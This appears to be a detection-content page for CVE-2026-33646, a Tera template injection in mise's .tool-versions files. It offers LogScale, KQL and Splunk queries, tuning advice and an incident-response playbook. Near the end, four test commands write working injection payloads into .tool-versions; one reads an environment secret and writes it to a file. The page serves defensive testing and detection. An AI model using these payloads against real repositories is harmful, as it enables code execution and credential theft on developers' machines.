Detect CVE-2026-33646: Mise Arbitrary Code Execution via Tera Template Injection in .tool-versions in CrowdStrike LogScale
Detects exploitation of CVE-2026-33646, a critical trust bypass vulnerability in mise (formerly rtx) versions prior to 2026.3.10. Attackers can embed Tera template directives inside .tool-versions files to achieve arbitrary code execution when mise processes the file, bypassing trust checks. CVSS 9.6. PoC public.
MITRE ATT&CK
- Tactic
- Execution Persistence Defense Evasion
LogScale Detection Query
#event_simpleName IN ("FileWritten", "ProcessRollup2")
| $FileWritten = ($event_simpleName = "FileWritten" AND TargetFileName MATCHES "\.tool-versions$")
| $MiseExec = ($event_simpleName = "ProcessRollup2" AND (ImageFileName MATCHES "(^|/)mise$" OR ImageFileName MATCHES "(^|\\\\)mise\.exe$") AND (CommandLine MATCHES "install|trust|run|exec|shell"))
| groupby([aid, ComputerName], function=[collect(TargetFileName, limit=5), collect(CommandLine, limit=5), count($FileWritten, as=file_writes), count($MiseExec, as=mise_execs)])
| where file_writes > 0 AND mise_execs > 0
| sort(mise_execs, order=desc)
| select([ComputerName, aid, file_writes, mise_execs, TargetFileName, CommandLine])CrowdStrike Falcon LogScale CQL query correlating .tool-versions file writes with mise process execution events by agent ID, surfacing hosts where both activities co-occurred.
Data Sources
Required Tables
False Positives & Tuning
- Developer workstations where mise is the primary version manager and .tool-versions files are frequently updated
- Build agents in CI/CD pipelines that use mise for runtime environment setup
- Pair programming or shared workstation sessions with simultaneous file edits and tool invocations
Other platforms for CVE-2026-33646
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Inject Tera system() call into .tool-versions and invoke mise install
Expected signal: File write event for .tool-versions, followed by mise process launch, followed by child process executing 'id' or shell writing to /tmp/mise-pwned.txt
- Test 2Malicious .tool-versions via Git Clone Simulation
Expected signal: Directory creation, .tool-versions file write by shell (not interactive mise), then mise process launch with install argument
- Test 3mise trust bypass via template in project-local .tool-versions
Expected signal: osascript child process spawned from mise with suspicious arguments, .tool-versions read by mise process
- Test 4Enumerate environment variables via Tera template injection
Expected signal: File write of .tool-versions, mise process launch, child write to /tmp/mise-env-leak.txt containing environment variable value
Response Playbook
Triage
- Identify the .tool-versions file path that triggered the alert and retrieve its contents. Look for Tera template directives: {% ... %}, {{ ... }}, or {# ... #} embedded in otherwise normal version strings.
- Determine the mise version installed on the affected host by running `mise --version`. Versions prior to 2026.3.10 are vulnerable. Check if the host has been patched.
- Review the process tree for any child processes spawned by mise at the time of the suspicious .tool-versions file read. Unexpected shells (sh, bash, cmd, powershell) or network connections are strong indicators of exploitation.
- Correlate the user account that wrote the .tool-versions file with the account that ran mise. If they differ, this may indicate privilege escalation or lateral movement via a shared repository checkout.
Containment
- Immediately isolate the affected host from the network if active exploitation is confirmed (child shell or unexpected network beacon from mise process). Use EDR host isolation capability.
- Revoke developer credentials and API tokens for the affected user account and rotate any secrets accessible from the compromised environment, particularly CI/CD tokens and cloud provider credentials stored in the developer environment.
Evidence Collection
- Collect the malicious .tool-versions file and preserve its contents with hash (SHA-256). Submit to threat intelligence platform. Capture file metadata: owner, creation/modification timestamps, inode.
- Export full process tree and network connection logs from EDR for the mise process and all child processes. Capture any DNS queries, HTTP requests, or file writes made by descendant processes during the exploitation window.
Escalation Criteria
- !Escalate to Incident Response if mise spawned an interactive shell or made outbound network connections to non-internal IPs, indicating active post-exploitation activity.
- !Escalate if the malicious .tool-versions file was committed to a shared version-controlled repository, as this may indicate a supply chain attack affecting multiple developers or CI pipelines.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Contents of .tool-versions file at the path processed by mise — look for {% system(...) %} or {{ env(...) }} Tera constructs - >
Mise cache directory (~/.local/share/mise/ or %APPDATA%\mise\) for any cached template evaluation artifacts - >
Shell history files (.bash_history, .zsh_history) on the affected host for manual mise invocations near the time of the alert - >
Git log of the repository containing the malicious .tool-versions to identify the committer and when the payload was introduced
Tuning Guidance
Start by excluding known CI/CD build agent hostnames and service accounts from alerting, as they legitimately write .tool-versions and invoke mise in sequence. Add allowlists for repository paths known to be managed by infrastructure automation. Tune the Tera template regex to focus on execution-capable constructs ({% ... %} blocks with function calls like system, env, or include) rather than comment blocks ({# #}) which are benign. Reduce false positives further by requiring the mise invocation to occur within 60 seconds of the file write rather than 5 minutes.
Hunting Queries
Broad hunt for .tool-versions file creation and modification activity across the fleet over 30 days to identify unusual write patterns or high-frequency modifications that may indicate automated payload injection.
DeviceFileEvents
| where FileName =~ ".tool-versions"
| where ActionType in ("FileCreated", "FileModified")
| where Timestamp > ago(30d)
| summarize Files=count(), Hosts=dcount(DeviceName) by InitiatingProcessAccountName, FolderPath
| order by Files descindex=endpoint sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
| where match(TargetFilename, "\.tool-versions$")
| stats count by user, host, TargetFilename
| sort -countHunt for mise processes launched by unusual parent processes (not interactive shells), which may indicate exploitation via CI/CD agents, IDE plugins, or other automated tooling processing malicious .tool-versions files.
DeviceProcessEvents
| where FileName in~ ("mise", "mise.exe")
| where InitiatingProcessFileName !in~ ("bash", "zsh", "sh", "fish", "cmd.exe", "powershell.exe", "pwsh.exe", "terminal", "iterm2", "konsole", "gnome-terminal")
| where Timestamp > ago(14d)
| summarize count() by InitiatingProcessFileName, ProcessCommandLine, DeviceName
| order by count_ descindex=endpoint sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| where match(lower(Image), "(^|/)mise(\.exe)?$")
| where NOT match(lower(ParentImage), "(bash|zsh|sh|fish|cmd\.exe|powershell\.exe|pwsh\.exe)$")
| stats count by host, ParentImage, CommandLine
| sort -countAtomic Red Team Tests
Simulates attacker writing a malicious .tool-versions file containing a Tera template that executes a system command, then triggers mise to process it. Tests detection of template injection pattern.
Command
mkdir -p /tmp/mise-cve-test && cd /tmp/mise-cve-test && printf 'node {% set x = run(command="id > /tmp/mise-pwned.txt") %}20.0.0\n' > .tool-versions && mise install 2>/dev/null; cat /tmp/mise-pwned.txt 2>/dev/null || echo 'patched or not triggered'Cleanup
rm -rf /tmp/mise-cve-test /tmp/mise-pwned.txtExpected Telemetry
File write event for .tool-versions, followed by mise process launch, followed by child process executing 'id' or shell writing to /tmp/mise-pwned.txt
Expected Detection
Alert should fire on correlation of .tool-versions write with Tera template content and subsequent mise execution
Simulates a supply chain scenario where a repository containing a malicious .tool-versions is cloned and mise is invoked, as would happen when a developer sets up a project environment.
Command
mkdir -p /tmp/mise-supply-chain-test/.git && cd /tmp/mise-supply-chain-test && printf 'python {% set _ = run(command="touch /tmp/mise-supply-chain-pwned") %}3.11.0\n' > .tool-versions && echo 'Simulating post-clone hook: invoking mise' && mise install --no-progress 2>/dev/null; ls /tmp/mise-supply-chain-pwned 2>/dev/null && echo 'VULNERABLE' || echo 'PATCHED'Cleanup
rm -rf /tmp/mise-supply-chain-test /tmp/mise-supply-chain-pwnedExpected Telemetry
Directory creation, .tool-versions file write by shell (not interactive mise), then mise process launch with install argument
Expected Detection
Sequence detection: file write by non-mise process followed by mise execution within 5 minutes on same host
Tests the trust bypass aspect of the vulnerability: even if the project directory is not explicitly trusted, mise may process Tera templates in .tool-versions during version resolution, executing attacker-controlled code.
Command
mkdir -p /tmp/mise-trust-bypass && cd /tmp/mise-trust-bypass && printf 'ruby {% set x = run(command="osascript -e \"display notification \\\"mise-pwned\\\" with title \\\"CVE-2026-33646\\\"\"") %}3.2.0\n' > .tool-versions && mise current 2>&1 | head -5Cleanup
rm -rf /tmp/mise-trust-bypassExpected Telemetry
osascript child process spawned from mise with suspicious arguments, .tool-versions read by mise process
Expected Detection
Child process spawned by mise that is not a managed runtime binary (osascript, osascript-derived notification)
Demonstrates information disclosure aspect: attacker uses Tera env() function to exfiltrate environment variables (CI tokens, AWS keys) visible to the developer running mise.
Command
export MISE_TEST_SECRET='s3cr3t-token-12345' && mkdir -p /tmp/mise-env-leak && cd /tmp/mise-env-leak && printf 'go {% set leaked = env(name="MISE_TEST_SECRET") %}{% set _ = run(command="echo leaked_value={{leaked}} > /tmp/mise-env-leak.txt") %}1.22.0\n' > .tool-versions && mise install 2>/dev/null; cat /tmp/mise-env-leak.txt 2>/dev/null || echo 'not triggered'Cleanup
rm -rf /tmp/mise-env-leak /tmp/mise-env-leak.txt && unset MISE_TEST_SECRETExpected Telemetry
File write of .tool-versions, mise process launch, child write to /tmp/mise-env-leak.txt containing environment variable value
Expected Detection
File write by child of mise process outside of expected mise cache/install paths